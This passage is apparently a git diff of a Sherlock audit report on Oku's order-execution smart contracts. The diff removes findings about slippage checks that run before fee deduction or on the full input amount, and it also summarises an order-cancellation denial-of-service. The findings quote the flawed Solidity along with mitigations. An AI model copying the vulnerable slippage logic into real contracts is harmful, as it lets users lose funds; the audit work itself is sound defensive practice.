Ragnarok, Tri-pathi, ami, bughuntoor, future2\_22, gajiknownnothing, hals, iamandreiski, itcruiser00, joshuajee, mxteem, oualidpro, phoenixv110, rahim7x, s0x0mtee, vinica\_boy, whitehair0330, xiaoming90, yuza101, zhoo, zxriptor +056Security, 0x0x0xw3, 0x37, 0xNirix, 0xaxaxa, 0xeix, 0xlucky, Audinarey, Boy2000, Chinedu, Contest-Squad, ExtraCaterpillar, John44, Kenn.eth, Opeyemi, PeterSR, Ragnarok, Tri-pathi, ami, befree3x, bughuntoor, future2\_22, gajiknownnothing, hals, iamandreiski, itcruiser00, joshuajee, mxteem, oualidpro, phoenixv110, rahim7x, s0x0mtee, vinica\_boy, whitehair0330, xiaoming90, yuza101, zhoo, zxriptor ### Summary The `pendingOrderIds` arrays can grow too large making it impossible to cancel subsequent legitimate pending orders, this will create a permanent DOS for the `_cancelOrder` no one will be able to cancel orders not admin nor order reciepient. @@ -1724,230 +2303,7 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue M-8: `Bracket.performUpkeep()` : the slippage check on `swapAmountOut` is done before deducting fees - -Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/623 - -The protocol has acknowledged this issue. - -## Found by -Afriaudit, Breaker, BugPull, Cayde-6, Contest-Squad, IvanFitro, NoOneWinner, NoWinner, PNS, hals, zhigang -### Summary - -`Bracket.performUpkeep()` : the slippage check on `swapAmountOut` is done before deducting fees instead of after fees deduction, which would result in receiving swapped amounts less than the minimum determined by the slippage. - -### Root Cause - -Deducting fees after slippage check, while it should deduct fees first then check for slippage. - - -### Internal pre-conditions - -- When an order is fulfilled via `performUpkeep`, the `tokenIn` is swapped for `tokenOut` via `execute()` function where a slippage check is done to ensure that [the aquired `swapOutAmount`](https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L551C13-L560C15) is acceptable by the recipient, then the fees are applied on the `swapOutAmount` **after the slippage check is done**: - -```javascript - function performUpkeep( - bytes calldata performData - ) external override nonReentrant { - //... - - //deduce bips - uint16 bips; - takeProfit ? bips = order.takeProfitSlippage : bips = order - .stopSlippage; - - (uint256 swapAmountOut, uint256 tokenInRefund) = execute( - data.target, - data.txData, - order.amountIn, - order.tokenIn, - order.tokenOut, - bips - ); - - //... - - //handle fee - (uint256 feeAmount, uint256 adjustedAmount) = applyFee( - swapAmountOut, - order.feeBips - ); - - if (feeAmount != 0) { - order.tokenOut.safeTransfer(address(MASTER), feeAmount); - } - - //send tokenOut to recipient - order.tokenOut.safeTransfer(order.recipient, adjustedAmount); - - //... - } -``` - -```javascript -function execute( - address target, - bytes memory txData, - uint256 amountIn, - IERC20 tokenIn, - IERC20 tokenOut, - uint16 bips - ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) { - //update accounting - uint256 initialTokenIn = tokenIn.balanceOf(address(this)); - uint256 initialTokenOut = tokenOut.balanceOf(address(this)); - - //approve - tokenIn.safeApprove(target, amountIn); - - //perform the call - (bool success, bytes memory result) = target.call(txData); - - if (success) { - uint256 finalTokenIn = tokenIn.balanceOf(address(this)); - require(finalTokenIn >= initialTokenIn - amountIn, "over spend"); - uint256 finalTokenOut = tokenOut.balanceOf(address(this)); - - //if success, we expect tokenIn balance to decrease by amountIn - //and tokenOut balance to increase by at least minAmountReceived - require( - finalTokenOut - initialTokenOut > - MASTER.getMinAmountReceived( - amountIn, - tokenIn, - tokenOut, - bips - ), - "Too Little Received" - ); - - swapAmountOut = finalTokenOut - initialTokenOut; - tokenInRefund = amountIn - (initialTokenIn - finalTokenIn); - } else { - //force revert - revert TransactionFailed(result); - } - } -``` - -. - -- As can be noticed, slippage check is done before fee-deduction , which will result in receiving less than the minimum accepted amount by the user, as the `adjustedAmount` might be less than the intended to be received by the user. - -- Same issue exists in the [`OracleLess.fillOrder()`](https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L118C9-L135C11) function. - -### External pre-conditions - -_No response_ - -### Attack Path - -_No response_ - -### Impact - -Incorrect slippage, which would result in users having swapped tokens amounts less than intended (acceptable by the determined slippage). - -### PoC - -_No response_ - -### Mitigation - - -Check the `adjustedAmount` against slippage, instead of checking it in the `execute()` before fee-deduction. - -# Issue M-9: Incorrect calculation of slippage - -Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/726 - -## Found by -Bigsam, lanrebayode77 -### Summary - -Slippage was calculated with a wrong amountIn used. - -Protocol refunds users when amountIn used is less that what user provided -https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L563 - -However, the execute method still uses the entire amountIn to calculate slippage, this causes it to be lower than expected as not all amountIN WAS used and some will get refunded. - -### Root Cause - -Incorrect assumption of amountIn used -```solidity - //if success, we expect tokenIn balance to decrease by amountIn - //and tokenOut balance to increase by at least minAmountReceived - require( - finalTokenOut - initialTokenOut > - MASTER.getMinAmountReceived( - @>> amountIn, - tokenIn, - tokenOut, - bips - ), - "Too Little Received" - ); -``` - -### Internal pre-conditions - -Incomplete usage of amountIn in swap - -### External pre-conditions - -_No response_ - -### Attack Path - -1. ALice provides $3,500 usdc for 1-ETH -2. set slippage to 5%, i.e 3,500_USDC should buy at least o.95_ETH -3. if 95% of 3,500_USDC was utilised, 175_USDC will be sent back to the user, but using 3,500 instead of 3325 for minAMountOut calculation will return 0.95_ETH instead of 0.9025-ETH(95% of ).95_ETH since only 95% of amountIn was used) causing execution to revert unjustly. -```solidity - // Calculate the fair amount out without slippage - uint256 fairAmountOut = (adjustedAmountIn * exchangeRate) / 1e8; - - // Apply slippage - 10000 bips is equivilant to 100% slippage - return (fairAmountOut * (10000 - slippageBips)) / 10000; -``` - -### Impact - -Unjust revert of execution - -### PoC - -_No response_ - -### Mitigation - -```solidity - //if success, we expect tokenIn balance to decrease by amountIn - //and tokenOut balance to increase by at least minAmountReceived - require( - finalTokenOut - initialTokenOut > - MASTER.getMinAmountReceived( - --- amountIn, //@audit-issue should be (initialTokenIn - finalTokenIn) - +++. (initialTokenIn - finalTokenIn), - tokenIn, - tokenOut, - bips - ), - "Too Little Received" - ); -``` - - - -## Discussion - -**sherlock-admin2** - -The protocol team fixed this issue in the following PRs/commits: -https://github.com/gfx-labs/oku-custom-order-types/pull/1 - - -# Issue M-10: Malicious users can `createOrder` with `0 amount` and make `DOS` for all +# Issue M-11: Malicious users can `createOrder` with `0 amount` and make `DOS` for all Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/731